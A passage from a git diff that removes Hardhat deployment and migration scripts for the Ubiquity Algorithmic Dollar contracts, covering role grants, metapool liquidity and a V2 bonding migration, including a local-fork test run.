ExcessDollarsDistributor:${mgrExcessDollarsDistributor} - `); - - deployments.log(` - *** - 10000 uAD were minted for the treasury aka admin ${adminAdr} - don't forget to add liquidity to metapool:${metaPoolAddr} with these uAD - first you need to call approve on uAD:${uAD.address} and crvToken:${crvToken.address} - then call metaPool["add_liquidity(uint256[2],uint256)"] or go through crv.finance - *** - `); - - await uAD.connect(admin).approve(metaPoolAddr, ethers.utils.parseEther("10000")); - await crvToken.connect(admin).approve(metaPoolAddr, ethers.utils.parseEther("10000")); - deployments.log(` - *** - approve was called for admin:${adminAdr} on uAD:${uAD.address} and crvToken:${crvToken.address} - for 10k uad and 10k 3crv`); - deployments.log(` - We can now add liquidity to metapool:${metaPoolAddr} with these uAD and 3CRV - either call metaPool["add_liquidity(uint256[2],uint256)"] or go through crv.finance - here is the actual balance for the admin addr - uAD:${ethers.utils.formatEther(await uAD.balanceOf(adminAdr))} - 3CRV:${ethers.utils.formatEther(await crvToken.balanceOf(adminAdr))} - *** - `); - - await pressAnyKey(); - deployments.log(` - Providing liquidity to the metapool current LP balance: - ${ethers.utils.formatEther(await metaPool.balanceOf(adminAdr))} - `); - await metaPool.connect(admin)["add_liquidity(uint256[2],uint256)"]([ethers.utils.parseEther("10000"), ethers.utils.parseEther("10000")], 0); - deployments.log(` - liquidity Added to the metapool current LP balance: - ${ethers.utils.formatEther(await metaPool.balanceOf(adminAdr))} - `); - deployments.log(` - That's all folks ! - `); -}; -export default func; -func.tags = ["UbiquityAlgorithmicDollarManager"]; diff --git a/packages/contracts/dollar/deploy/UbiquityAutoRedeem.ts b/packages/contracts/dollar/deploy/UbiquityAutoRedeem.ts deleted file mode 100644 index de5a0905f..000000000 --- a/packages/contracts/dollar/deploy/UbiquityAutoRedeem.ts +++ /dev/null @@ -1,24 +0,0 @@ -import { HardhatRuntimeEnvironment } from "hardhat/types"; -import { DeployFunction } from "hardhat-deploy/types"; -import { warn } from "../hardhat-config/utils/warn"; -const func: DeployFunction = async (hre: HardhatRuntimeEnvironment) => { - const { deployments, ethers } = hre; - const [admin] = await ethers.getSigners(); - deployments.log(warn(`admin.address: ${admin.address}`)); - - const opts = { - from: admin.address, - log: true, - }; - const manager = await deployments.deploy("UbiquityAlgorithmicDollarManager", { - args: [admin.address], - ...opts, - }); - const uAD = await deployments.deploy("UbiquityAutoRedeem", { - args: [manager.address], - ...opts, - }); - deployments.log("UbiquityAutoRedeem deployed at:", uAD.address); -}; -export default func; -func.tags = ["UbiquityAutoRedeem"]; diff --git a/packages/contracts/dollar/deploy/UbiquityFormulas.ts b/packages/contracts/dollar/deploy/UbiquityFormulas.ts deleted file mode 100644 index 705f041e8..000000000 --- a/packages/contracts/dollar/deploy/UbiquityFormulas.ts +++ /dev/null @@ -1,19 +0,0 @@ -import { HardhatRuntimeEnvironment } from "hardhat/types"; -import { DeployFunction } from "hardhat-deploy/types"; -import { warn } from "../hardhat-config/utils/warn"; -const func: DeployFunction = async (hre: HardhatRuntimeEnvironment) => { - const { deployments, ethers } = hre; - - const [admin] = await ethers.getSigners(); - deployments.log(warn(`admin.address: ${admin.address}`)); - - const opts = { - from: admin.address, - log: true, - }; - - const uAD = await deployments.deploy("UbiquityFormulas", opts); - deployments.log("UbiquityFormulas deployed at:", uAD.address); -}; -export default func; -func.tags = ["UbiquityFormulas"]; diff --git a/packages/contracts/dollar/deploy/UbiquityGovernance.ts b/packages/contracts/dollar/deploy/UbiquityGovernance.ts deleted file mode 100644 index 10a1ac46a..000000000 --- a/packages/contracts/dollar/deploy/UbiquityGovernance.ts +++ /dev/null @@ -1,24 +0,0 @@ -import { HardhatRuntimeEnvironment } from "hardhat/types"; -import { DeployFunction } from "hardhat-deploy/types"; -import { warn } from "../hardhat-config/utils/warn"; -const func: DeployFunction = async (hre: HardhatRuntimeEnvironment) => { - const { deployments, ethers } = hre; - const [admin] = await ethers.getSigners(); - deployments.log(warn(`admin.address: ${admin.address}`)); - - const opts = { - from: admin.address, - log: true, - }; - const manager = await deployments.deploy("UbiquityAlgorithmicDollarManager", { - args: [admin.address], - ...opts, - }); - const uGov = await deployments.deploy("UbiquityGovernance", { - args: [manager.address], - ...opts, - }); - deployments.log("UbiquityGovernance deployed at:", uGov.address); -}; -export default func; -func.tags = ["UbiquityGovernance"]; diff --git a/packages/contracts/dollar/deploy/V2.ts b/packages/contracts/dollar/deploy/V2.ts deleted file mode 100644 index 323a0f5e2..000000000 --- a/packages/contracts/dollar/deploy/V2.ts +++ /dev/null @@ -1,315 +0,0 @@ -import { HardhatRuntimeEnvironment } from "hardhat/types"; -import { DeployFunction } from "hardhat-deploy/types"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; -import { BondingShareV2 } from "../artifacts/types/BondingShareV2"; -import { Bonding } from "../artifacts/types/Bonding"; -import { IMetaPool } from "../artifacts/types/IMetaPool"; -import { BondingFormulas } from "../artifacts/types/BondingFormulas"; -import { MasterChefV2 } from "../artifacts/types/MasterChefV2"; -import { BondingV2 } from "../artifacts/types/BondingV2"; -import { UbiquityGovernance } from "../artifacts/types/UbiquityGovernance"; - -const func: DeployFunction = async (hre: HardhatRuntimeEnvironment) => { - const { deployments, ethers } = hre; - - // MIGRATION - const toMigrateOriginals = [ - "0x89eae71b865a2a39cba62060ab1b40bbffae5b0d", - "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", - "0xa53a6fe2d8ad977ad926c485343ba39f32d3a3f6", - "0x7c76f4db70b7e2177de10de3e2f668dadcd11108", - "0x4007ce2083c7f3e18097aeb3a39bb8ec149a341d", - "0xf6501068a54f3eab46c1f145cb9d3fb91658b220", - "0x10693e86f2e7151b3010469e33b6c1c2da8887d6", - "0xcefd0e73cc48b0b9d4c8683e52b7d7396600abb2", - "0xd028babbdc15949aaa35587f95f9e96c7d49417d", - "0x9968efe1424d802e1f79fd8af8da67b0f08c814d", - "0xd3bc13258e685df436715104882888d087f87ed8", - "0x0709b103d46d71458a71e5d81230dd688809a53d", - "0xe3e39161d35e9a81edec667a5387bfae85752854", - "0x7c361828849293684ddf7212fd1d2cb5f0aade70", - "0x9d3f4eeb533b8e3c8f50dbbd2e351d1bf2987908", - "0x865dc9a621b50534ba3d17e0ea8447c315e31886", - "0x324e0b53cefa84cf970833939249880f814557c6", - "0xce156d5d62a8f82326da8d808d0f3f76360036d0", - "0x26bdde6506bd32bd7b5cc5c73cd252807ff18568", - "0xd6efc21d8c941aa06f90075de1588ac7e912fec6", - "0xe0d62cc9233c7e2f1f23fe8c77d6b4d1a265d7cd", - "0x0b54b916e90b8f28ad21da40638e0724132c9c93", - "0x629cd43eaf443e66a9a69ed246728e1001289eac", - "0x0709e442a5469b88bb090dd285b1b3a63fb0c226", - "0x94a2ffdbdbd84984ac7967878c5c397126e7bbbe", - "0x51ec66e63199176f59c80268e0be6ffa91fab220", - "0x0a71e650f70b35fca8b70e71e4441df8d44e01e9", - "0xc1b6052e707dff9017deab13ae9b89008fc1fc5d", - "0x9be95ef84676393588e49ad8b99c9d4cdfdaa631", - "0xfffff6e70842330948ca47254f2be673b1cb0db7", - "0x0000ce08fa224696a819877070bf378e8b131acf", - "0xc2cb4b1bcaebaa78c8004e394cf90ba07a61c8f7", - "0xb2812370f17465ae096ced55679428786734a678", - "0x3eb851c3959f0d37e15c2d9476c4adb46d5231d1", - "0xad286cf287b91719ee85d3ba5cf3da483d631dba", - "0xbd37a957773d883186b989f6b21c209459022252", - ]; - const toMigrateLpBalances = [ - "1301000000000000000", - "3500000000000000000000", - "9351040526163838324896", - "44739174270101943975392", - "74603879373206500005186", - "2483850000000000000000", - "1878674425540571814543", - "8991650309086743220575", - "1111050988607803612915", - "4459109737462155546375", - "21723000000000000000000", - "38555895255762442000000", - "5919236274824521937931", - "1569191092350025897388", - "10201450658519659933880", - "890339946944155414434", - "5021119790948940093253", - "761000000000000000000", - "49172294677407855270013", - "25055256356185888278372", - "1576757078627228869179", - "3664000000000000000000", - "1902189597146391302863", - "34959771702943278635904", - "9380006436252701023610", - "6266995559166564365470", - "100000000000000000000", - "3696476262155265118082", - "740480000000000000000", - "2266000000000000000000", - "1480607760433248019987", - "24702171480214199310951", - "605000000000000000000", - "1694766661387270251234", - "14857000000000000000000", - "26000000000000000000", - ]; - const toMigrateWeeks = [ - "176", - "30", - "208", - "208", - "208", - "32", - "208", - "208", - "4", - "1", - "67", - "208", - "208", - "109", - "12", - "29", - "1", - "1", - "3", - "4", - "7", - "1", - "128", - "2", - "4", - "3", - "208", - "6", - "1", - "208", - "2", - "1", - "12", - "208", - "4", - "208", - ]; - - const [ubqAccount] = await ethers.getSigners(); - const adminAdr = ubqAccount.address; - deployments.log( - `***** - adminAdr address :`, - adminAdr, - ` - ` - ); - const opts = { - from: adminAdr, - log: true, - }; - - let mgrAdr = "0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98"; - let bondingV2deployAddress = ""; - let bondingFormulasdeployAddress = ""; - let bondingShareV2deployAddress = ""; - let masterchefV2deployAddress = ""; - - // calculate end locking period block number - // 1 week = 45361 blocks = 2371753*7/366 - - const UBQ_MINTER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("UBQ_MINTER_ROLE")); - const UBQ_BURNER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("UBQ_BURNER_ROLE")); - - if (mgrAdr.length === 0) { - const mgr = await deployments.deploy("UbiquityAlgorithmicDollarManager", { - args: [adminAdr], - ...opts, - }); - mgrAdr = mgr.address; - } - - const mgrFactory = await ethers.getContractFactory("UbiquityAlgorithmicDollarManager"); - - const manager: UbiquityAlgorithmicDollarManager = mgrFactory.attach( - mgrAdr // mgr.address - ) as UbiquityAlgorithmicDollarManager; - - const ubqFactory = await ethers.getContractFactory("UbiquityGovernance"); - const ubqGovAdr = "0x4e38D89362f7e5db0096CE44ebD021c3962aA9a0"; - const ubiquityGovernance: UbiquityGovernance = ubqFactory.attach(ubqGovAdr) as UbiquityGovernance; - - deployments.log(`UbiquityAlgorithmicDollarManager deployed at:`, manager.address); - const currentBondingAdr = await manager.bondingContractAddress(); - deployments.log("current Bonding Adr :", currentBondingAdr); - const currentMSAdr = await manager.masterChefAddress(); - deployments.log("current Masterchef Adr :", currentMSAdr); - const ubqBalMS = await ubiquityGovernance.balanceOf(currentMSAdr); - deployments.log(` - current Masterchef UGOV Balance :${ethers.utils.formatEther(ubqBalMS)} -`); - - let tx = await manager.connect(ubqAccount).revokeRole(UBQ_MINTER_ROLE, currentMSAdr); - await tx.wait(); - tx = await manager.connect(ubqAccount).revokeRole(UBQ_MINTER_ROLE, currentBondingAdr); - await tx.wait(); - tx = await manager.connect(ubqAccount).revokeRole(UBQ_BURNER_ROLE, currentBondingAdr); - await tx.wait(); - - const isMSMinter = await manager.connect(ubqAccount).hasRole(UBQ_MINTER_ROLE, currentMSAdr); - deployments.log("Master Chef Is minter ?:", isMSMinter); - const isBSMinter = await manager.connect(ubqAccount).hasRole(UBQ_MINTER_ROLE, currentBondingAdr); - deployments.log("Bonding Is minter ?:", isBSMinter); - - // BondingShareV2 - const uri = `{ - "name": "Bonding Share", - "description": "Ubiquity Bonding Share V2", - "image": "https://bafybeifibz4fhk4yag5reupmgh5cdbm2oladke4zfd7ldyw7avgipocpmy.ipfs.infura-ipfs.io/" - }`; - if (bondingShareV2deployAddress.length === 0) { - const bondingShareV2deploy = await deployments.deploy("BondingShareV2", { - args: [manager.address, uri], - ...opts, - }); - - bondingShareV2deployAddress = bondingShareV2deploy.address; - } - /* */ - const bondingShareV2Factory = await ethers.getContractFactory("BondingShareV2"); - - const bondingShareV2: BondingShareV2 = bondingShareV2Factory.attach(bondingShareV2deployAddress) as BondingShareV2; - - deployments.log("BondingShareV2 deployed at:", bondingShareV2.address); - tx = await manager.connect(ubqAccount).setBondingShareAddress(bondingShareV2.address); - await tx.wait(); - const managerBondingShareAddress = await manager.bondingShareAddress(); - deployments.log("BondingShareV2 in Manager is set to:", managerBondingShareAddress); - - // MasterchefV2 - if (masterchefV2deployAddress.length === 0) { - const masterchefV2deploy = await deployments.deploy("MasterChefV2", { - args: [manager.address], - ...opts, - }); - - masterchefV2deployAddress = masterchefV2deploy.address; - } - - const masterChefV2Factory = await ethers.getContractFactory("MasterChefV2"); - - const masterChefV2: MasterChefV2 = masterChefV2Factory.attach(masterchefV2deployAddress) as MasterChefV2; - deployments.log("MasterChefV2 deployed at:", masterChefV2.address); - tx = await manager.connect(ubqAccount).setMasterChefAddress(masterChefV2.address); - await tx.wait(); - tx = await manager.connect(ubqAccount).grantRole(UBQ_MINTER_ROLE, masterChefV2.address); - await tx.wait(); - const managerMasterChefV2Address = await manager.masterChefAddress(); - deployments.log("masterChefAddress in Manager is set to:", managerMasterChefV2Address); - // Bonding Formula - - if (bondingFormulasdeployAddress.length === 0) { - const bondingFormulas = await deployments.deploy("BondingFormulas", { - args: [], - ...opts, - }); - bondingFormulasdeployAddress = bondingFormulas.address; - } - - const bondingFormulasFactory = await ethers.getContractFactory("BondingFormulas"); - - const bf: BondingFormulas = bondingFormulasFactory.attach(bondingFormulasdeployAddress) as BondingFormulas; - deployments.log("BondingFormulas deployed at:", bf.address); - // BondingV2 - - deployments.log("bondingFormulasdeployAddress :", bondingFormulasdeployAddress); - deployments.log("manager.address :", manager.address); - if (bondingV2deployAddress.length === 0) { - const bondingV2deploy = await deployments.deploy("BondingV2", { - args: [manager.address, bondingFormulasdeployAddress, toMigrateOriginals, toMigrateLpBalances, toMigrateWeeks], - ...opts, - }); - - bondingV2deployAddress = bondingV2deploy.address; - } - deployments.log("bondingV2deployAddress :", bondingV2deployAddress); - /* */ - const bondingV2Factory = await ethers.getContractFactory("BondingV2"); - - const bondingV2: BondingV2 = bondingV2Factory.attach(bondingV2deployAddress) as BondingV2; - deployments.log("bondingV2 deployed at:", bondingV2.address); - tx = await bondingV2.setMigrating(true); - await tx.wait(); - deployments.log("setMigrating to true"); - // send the LP token from bonding V1 to V2 to prepare the migration - - const metaPoolAddr = await manager.stableSwapMetaPoolAddress(); - const metaPool = (await ethers.getContractAt("IMetaPool", metaPoolAddr)) as IMetaPool; - - const bondingLPBal = await metaPool.balanceOf(currentBondingAdr); - deployments.log("bondingLPBal :", ethers.utils.formatEther(bondingLPBal)); - - const bondingFactory = await ethers.getContractFactory("Bonding"); - const bonding: Bonding = bondingFactory.attach(currentBondingAdr) as Bonding; - await bonding.connect(ubqAccount).sendDust(bondingV2.address, metaPool.address, bondingLPBal); - const bondingV2LPBal = await metaPool.balanceOf(bondingV2.address); - deployments.log("all bondingLPBal sent to bondingV2... bondingV2LPBal:", ethers.utils.formatEther(bondingV2LPBal)); - // bondingV2 should have the UBQ_MINTER_ROLE to mint bonding shares - - tx = await manager.connect(ubqAccount).grantRole(UBQ_MINTER_ROLE, bondingV2.address); - await tx.wait(); - tx = await bondingV2.connect(ubqAccount).setBlockCountInAWeek(46550); - await tx.wait(); - const blockCountInAWeek = await bondingV2.blockCountInAWeek(); - deployments.log("bondingV2 blockCountInAWeek:", blockCountInAWeek); - tx = await manager.connect(ubqAccount).setBondingContractAddress(bondingV2.address); - await tx.wait(); - const managerBondingV2Address = await manager.bondingContractAddress(); - deployments.log("BondingV2 in Manager is set to:", managerBondingV2Address); - - const ismasterChefV2Minter = await manager.connect(ubqAccount).hasRole(UBQ_MINTER_ROLE, masterChefV2.address); - deployments.log("MasterChef V2 Is minter ?:", ismasterChefV2Minter); - const isbondingShareV2Minter = await manager.connect(ubqAccount).hasRole(UBQ_MINTER_ROLE, bondingV2.address); - deployments.log("Bonding V2 Is minter ?:", isbondingShareV2Minter); - - // try to migrate test - - deployments.log(` - That's all folks ! - `); -}; -export default func; -func.tags = ["V2"]; diff --git a/packages/contracts/dollar/deploy/V2Test.ts b/packages/contracts/dollar/deploy/V2Test.ts deleted file mode 100644 index b3b615e6a..000000000 --- a/packages/contracts/dollar/deploy/V2Test.ts +++ /dev/null @@ -1,465 +0,0 @@ -import { HardhatRuntimeEnvironment } from "hardhat/types"; -import { DeployFunction } from "hardhat-deploy/types"; -import { BigNumber } from "ethers"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; -import { BondingShareV2 } from "../artifacts/types/BondingShareV2"; -import { Bonding } from "../artifacts/types/Bonding"; -import { IMetaPool } from "../artifacts/types/IMetaPool"; -import { BondingFormulas } from "../artifacts/types/BondingFormulas"; -import { MasterChefV2 } from "../artifacts/types/MasterChefV2"; -import { BondingV2 } from "../artifacts/types/BondingV2"; -import { mineNBlock, resetFork } from "../test/utils/hardhatNode"; -import { UbiquityGovernance } from "../artifacts/types/UbiquityGovernance"; - -const func: DeployFunction = async (hre: HardhatRuntimeEnvironment) => { - const { deployments, getNamedAccounts, ethers, network } = hre; - - // MIGRATION - const toMigrateOriginals = [ - "0x89eae71b865a2a39cba62060ab1b40bbffae5b0d", - "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", - "0xa53a6fe2d8ad977ad926c485343ba39f32d3a3f6", - "0x7c76f4db70b7e2177de10de3e2f668dadcd11108", - "0x4007ce2083c7f3e18097aeb3a39bb8ec149a341d", - "0xf6501068a54f3eab46c1f145cb9d3fb91658b220", - "0x10693e86f2e7151b3010469e33b6c1c2da8887d6", - "0xcefd0e73cc48b0b9d4c8683e52b7d7396600abb2", - "0xd028babbdc15949aaa35587f95f9e96c7d49417d", - "0x9968efe1424d802e1f79fd8af8da67b0f08c814d", - "0xd3bc13258e685df436715104882888d087f87ed8", - "0x0709b103d46d71458a71e5d81230dd688809a53d", - "0xe3e39161d35e9a81edec667a5387bfae85752854", - "0x7c361828849293684ddf7212fd1d2cb5f0aade70", - "0x9d3f4eeb533b8e3c8f50dbbd2e351d1bf2987908", - "0x865dc9a621b50534ba3d17e0ea8447c315e31886", - "0x324e0b53cefa84cf970833939249880f814557c6", - "0xce156d5d62a8f82326da8d808d0f3f76360036d0", - "0x26bdde6506bd32bd7b5cc5c73cd252807ff18568", - "0xd6efc21d8c941aa06f90075de1588ac7e912fec6", - "0xe0d62cc9233c7e2f1f23fe8c77d6b4d1a265d7cd", - "0x0b54b916e90b8f28ad21da40638e0724132c9c93", - "0x629cd43eaf443e66a9a69ed246728e1001289eac", - "0x0709e442a5469b88bb090dd285b1b3a63fb0c226", - "0x94a2ffdbdbd84984ac7967878c5c397126e7bbbe", - "0x51ec66e63199176f59c80268e0be6ffa91fab220", - "0x0a71e650f70b35fca8b70e71e4441df8d44e01e9", - "0xc1b6052e707dff9017deab13ae9b89008fc1fc5d", - "0x9be95ef84676393588e49ad8b99c9d4cdfdaa631", - "0xfffff6e70842330948ca47254f2be673b1cb0db7", - "0x0000ce08fa224696a819877070bf378e8b131acf", - "0xc2cb4b1bcaebaa78c8004e394cf90ba07a61c8f7", - "0xb2812370f17465ae096ced55679428786734a678", - "0x3eb851c3959f0d37e15c2d9476c4adb46d5231d1", - "0xad286cf287b91719ee85d3ba5cf3da483d631dba", - "0xbd37a957773d883186b989f6b21c209459022252", - ]; - const toMigrateLpBalances = [ - "1301000000000000000", - "3500000000000000000000", - "9351040526163838324896", - "44739174270101943975392", - "74603879373206500005186", - "2483850000000000000000", - "1878674425540571814543", - "8991650309086743220575", - "1111050988607803612915", - "4459109737462155546375", - "21723000000000000000000", - "38555895255762442000000", - "5919236274824521937931", - "1569191092350025897388", - "10201450658519659933880", - "890339946944155414434", - "5021119790948940093253", - "761000000000000000000", - "49172294677407855270013", - "25055256356185888278372", - "1576757078627228869179", - "3664000000000000000000", - "1902189597146391302863", - "34959771702943278635904", - "9380006436252701023610", - "6266995559166564365470", - "100000000000000000000", - "3696476262155265118082", - "740480000000000000000", - "2266000000000000000000", - "1480607760433248019987", - "24702171480214199310951", - "605000000000000000000", - "1694766661387270251234", - "14857000000000000000000", - "26000000000000000000", - ]; - const toMigrateWeeks = [ - "1", - "30", - "208", - "208", - "208", - "32", - "208", - "208", - "4", - "1", - "67", - "208", - "208", - "109", - "12", - "29", - "1", - "1", - "3", - "4", - "7", - "1", - "128", - "2", - "4", - "3", - "208", - "6", - "1", - "208", - "2", - "1", - "12", - "208", - "4", - "208", - ]; - - let ubq = ""; - let tester = ""; - ({ ubq, tester } = await getNamedAccounts()); - /** - * hardhat local - * */ - await resetFork(12926140); - - await network.provider.request({ - method: "hardhat_impersonateAccount", - params: [ubq], - }); - - const ubqAccount = ethers.provider.getSigner(ubq); - const ubqAdr = await ubqAccount.getAddress(); - deployments.log( - `***** - ubqAdr address :`, - ubqAdr, - ` - ` - ); - const [admin] = await ethers.getSigners(); - const adminAdr = admin.address; - const opts = { - from: adminAdr, - log: true, - }; - - let mgrAdr = "0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98"; - let bondingV2deployAddress = ""; - let bondingFormulasdeployAddress = ""; - let bondingShareV2deployAddress = ""; - let masterchefV2deployAddress = ""; - - // calculate end locking period block number - // 1 week = 45361 blocks = 2371753*7/366 - - const UBQ_MINTER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("UBQ_MINTER_ROLE")); - const UBQ_BURNER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("UBQ_BURNER_ROLE")); - - const PAUSER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("PAUSER_ROLE")); - - if (mgrAdr.length === 0) { - const mgr = await deployments.deploy("UbiquityAlgorithmicDollarManager", { - args: [adminAdr], - ...opts, - }); - mgrAdr = mgr.address; - } - - const mgrFactory = await ethers.getContractFactory("UbiquityAlgorithmicDollarManager"); - - const manager: UbiquityAlgorithmicDollarManager = mgrFactory.attach( - mgrAdr // mgr.address - ) as UbiquityAlgorithmicDollarManager; - - const ubqFactory = await ethers.getContractFactory("UbiquityGovernance"); - const ubqGovAdr = "0x4e38D89362f7e5db0096CE44ebD021c3962aA9a0"; - const ubiquityGovernance: UbiquityGovernance = ubqFactory.attach(ubqGovAdr) as UbiquityGovernance; - - deployments.log(`UbiquityAlgorithmicDollarManager deployed at:`, manager.address); - const currentBondingAdr = await manager.bondingContractAddress(); - deployments.log("current Bonding Adr :", currentBondingAdr); - const currentMSAdr = await manager.masterChefAddress(); - deployments.log("current Masterchef Adr :", currentMSAdr); - let tx = await manager.connect(ubqAccount).revokeRole(UBQ_MINTER_ROLE, currentMSAdr); - await tx.wait(); - tx = await manager.connect(ubqAccount).revokeRole(UBQ_MINTER_ROLE, currentBondingAdr); - await tx.wait(); - tx = await manager.connect(ubqAccount).revokeRole(UBQ_BURNER_ROLE, currentBondingAdr); - await tx.wait(); - - const isMSMinter = await manager.connect(ubqAccount).hasRole(UBQ_MINTER_ROLE, currentMSAdr); - deployments.log("Master Chef Is minter ?:", isMSMinter); - const isBSMinter = await manager.connect(ubqAccount).hasRole(UBQ_MINTER_ROLE, currentBondingAdr); - deployments.log("Bonding Is minter ?:", isBSMinter); - - // BondingShareV2 - const uri = `{ - "name": "Bonding Share", - "description": "Ubiquity Bonding Share V2", - "image": "https://bafybeifibz4fhk4yag5reupmgh5cdbm2oladke4zfd7ldyw7avgipocpmy.ipfs.infura-ipfs.io/" - }`; - if (bondingShareV2deployAddress.length === 0) { - const bondingShareV2deploy = await deployments.deploy("BondingShareV2", { - args: [manager.address, uri], - ...opts, - }); - - bondingShareV2deployAddress = bondingShareV2deploy.address; - } - /* */ - const bondingShareV2Factory = await ethers.getContractFactory("BondingShareV2"); - - const bondingShareV2: BondingShareV2 = bondingShareV2Factory.attach(bondingShareV2deployAddress) as BondingShareV2; - deployments.log("BondingShareV2 deployed at:", bondingShareV2.address); - tx = await manager.connect(ubqAccount).setBondingShareAddress(bondingShareV2.address); - await tx.wait(); - const managerBondingShareAddress = await manager.bondingShareAddress(); - deployments.log("BondingShareV2 in Manager is set to:", managerBondingShareAddress); - // MasterchefV2 - - if (masterchefV2deployAddress.length === 0) { - const masterchefV2deploy = await deployments.deploy("MasterChefV2", { - args: [manager.address], - ...opts, - }); - - masterchefV2deployAddress = masterchefV2deploy.address; - } - /* */ - const masterChefV2Factory = await ethers.getContractFactory("MasterChefV2"); - - const masterChefV2: MasterChefV2 = masterChefV2Factory.attach(masterchefV2deployAddress) as MasterChefV2; - deployments.log("MasterChefV2 deployed at:", masterChefV2.address); - tx = await manager.connect(ubqAccount).setMasterChefAddress(masterChefV2.address); - await tx.wait(); - tx = await manager.connect(ubqAccount).grantRole(UBQ_MINTER_ROLE, masterChefV2.address); - await tx.wait(); - const managerMasterChefV2Address = await manager.masterChefAddress(); - deployments.log("masterChefAddress in Manager is set to:", managerMasterChefV2Address); - // Bonding Formula - - if (bondingFormulasdeployAddress.length === 0) { - const bondingFormulas = await deployments.deploy("BondingFormulas", { - args: [], - ...opts, - }); - bondingFormulasdeployAddress = bondingFormulas.address; - } - - const bondingFormulasFactory = await ethers.getContractFactory("BondingFormulas"); - - const bf: BondingFormulas = bondingFormulasFactory.attach(bondingFormulasdeployAddress) as BondingFormulas; - deployments.log("BondingFormulas deployed at:", bf.address); - // BondingV2 - - deployments.log("bondingFormulasdeployAddress :", bondingFormulasdeployAddress); - deployments.log("manager.address :", manager.address); - if (bondingV2deployAddress.length === 0) { - const bondingV2deploy = await deployments.deploy("BondingV2", { - args: [manager.address, bondingFormulasdeployAddress, toMigrateOriginals, toMigrateLpBalances, toMigrateWeeks], - ...opts, - }); - - bondingV2deployAddress = bondingV2deploy.address; - } - deployments.log("bondingV2deployAddress :", bondingV2deployAddress); - /* */ - const bondingV2Factory = await ethers.getContractFactory("BondingV2"); - - const bondingV2: BondingV2 = bondingV2Factory.attach(bondingV2deployAddress) as BondingV2; - deployments.log("bondingV2 deployed at:", bondingV2.address); - tx = await bondingV2.setMigrating(true); - await tx.wait(); - deployments.log("setMigrating to true"); - // send the LP token from bonding V1 to V2 to prepare the migration - const bondingFactory = await ethers.getContractFactory("Bonding"); - const metaPoolAddr = await manager.connect(admin).stableSwapMetaPoolAddress(); - const metaPool = (await ethers.getContractAt("IMetaPool", metaPoolAddr)) as IMetaPool; - - const bondingLPBal = await metaPool.balanceOf(currentBondingAdr); - deployments.log("bondingLPBal :", ethers.utils.formatEther(bondingLPBal)); - const bonding: Bonding = bondingFactory.attach(currentBondingAdr) as Bonding; - await bonding.connect(ubqAccount).sendDust(bondingV2.address, metaPool.address, bondingLPBal); - const bondingV2LPBal = await metaPool.balanceOf(bondingV2.address); - deployments.log("all bondingLPBal sent to bondingV2... bondingV2LPBal:", ethers.utils.formatEther(bondingV2LPBal)); - // bondingV2 should have the UBQ_MINTER_ROLE to mint bonding shares - const isUBQPauser = await manager.connect(ubqAccount).hasRole(PAUSER_ROLE, ubqAdr); - deployments.log("UBQ Is pauser ?:", isUBQPauser); - - tx = await manager.connect(ubqAccount).grantRole(UBQ_MINTER_ROLE, bondingV2.address); - await tx.wait(); - tx = await bondingV2.connect(ubqAccount).setBlockCountInAWeek(46550); - await tx.wait(); - const blockCountInAWeek = await bondingV2.blockCountInAWeek(); - deployments.log("bondingV2 blockCountInAWeek:", blockCountInAWeek); - tx = await manager.connect(ubqAccount).setBondingContractAddress(bondingV2.address); - await tx.wait(); - const managerBondingV2Address = await manager.bondingContractAddress(); - deployments.log("BondingV2 in Manager is set to:", managerBondingV2Address); - - const ismasterChefV2Minter = await manager.connect(ubqAccount).hasRole(UBQ_MINTER_ROLE, masterChefV2.address); - deployments.log("MasterChef V2 Is minter ?:", ismasterChefV2Minter); - const isbondingShareV2Minter = await manager.connect(ubqAccount).hasRole(UBQ_MINTER_ROLE, bondingV2.address); - deployments.log("Bonding V2 Is minter ?:", isbondingShareV2Minter); - - // try to migrate test - - await network.provider.request({ - method: "hardhat_impersonateAccount", - params: [tester], - }); - const testAccount = ethers.provider.getSigner(tester); - const idsBefore = await bondingShareV2.holderTokens(tester); - deployments.log("idsBefore:", idsBefore); - const testerLPBalBeforeMigrate = await metaPool.balanceOf(tester); - const totalLpToMigrateBeforeMigrate = await bondingV2.totalLpToMigrate(); - tx = await bondingV2.connect(testAccount).migrate(); - await tx.wait(); - const totalLpToMigrateAfterMigrate = await bondingV2.totalLpToMigrate(); - const idsAfter = await bondingShareV2.holderTokens(tester); - const testerLPRewardsAfterMigrate = await bondingV2.pendingLpRewards(idsAfter[0]); - deployments.log("idsAfter:", idsAfter[0].toNumber()); - let bond = await bondingShareV2.getBond(idsAfter[0]); - deployments.log(`bond id:${idsAfter[0].toNumber()} - minter:${bond.minter} - lpAmount:${ethers.utils.formatEther(bond.lpAmount)} - lpFirstDeposited:${ethers.utils.formatEther(bond.lpFirstDeposited)} - endBlock:${bond.endBlock.toNumber()} - tx:${tx.blockNumber ? tx.blockNumber.toString() : ""} - `); - - const pendingUGOV = await masterChefV2.pendingUGOV(idsAfter[0]); - const bondingShareInfo = await masterChefV2.getBondingShareInfo(idsAfter[0]); - deployments.log(`pendingUGOV :${ethers.utils.formatEther(pendingUGOV)} - bondingShareInfo-0 :${ethers.utils.formatEther(bondingShareInfo[0])} - bondingShareInfo-1 :${ethers.utils.formatEther(bondingShareInfo[1])} -`); - const ubqBalBefore = await ubiquityGovernance.balanceOf(tester); - await mineNBlock(blockCountInAWeek.toNumber()); - - const pendingUGOV2 = await masterChefV2.pendingUGOV(idsAfter[0]); - const bondingShareInfo2 = await masterChefV2.getBondingShareInfo(idsAfter[0]); - deployments.log(`pendingUGOV2 :${ethers.utils.formatEther(pendingUGOV2)} - bondingShareInfo2-0 :${ethers.utils.formatEther(bondingShareInfo2[0])} - bondingShareInfo2-1 :${ethers.utils.formatEther(bondingShareInfo2[1])} -`); - tx = await masterChefV2.connect(testAccount).getRewards(idsAfter[0]); - await tx.wait(); - const ubqBalAfter = await ubiquityGovernance.balanceOf(tester); - 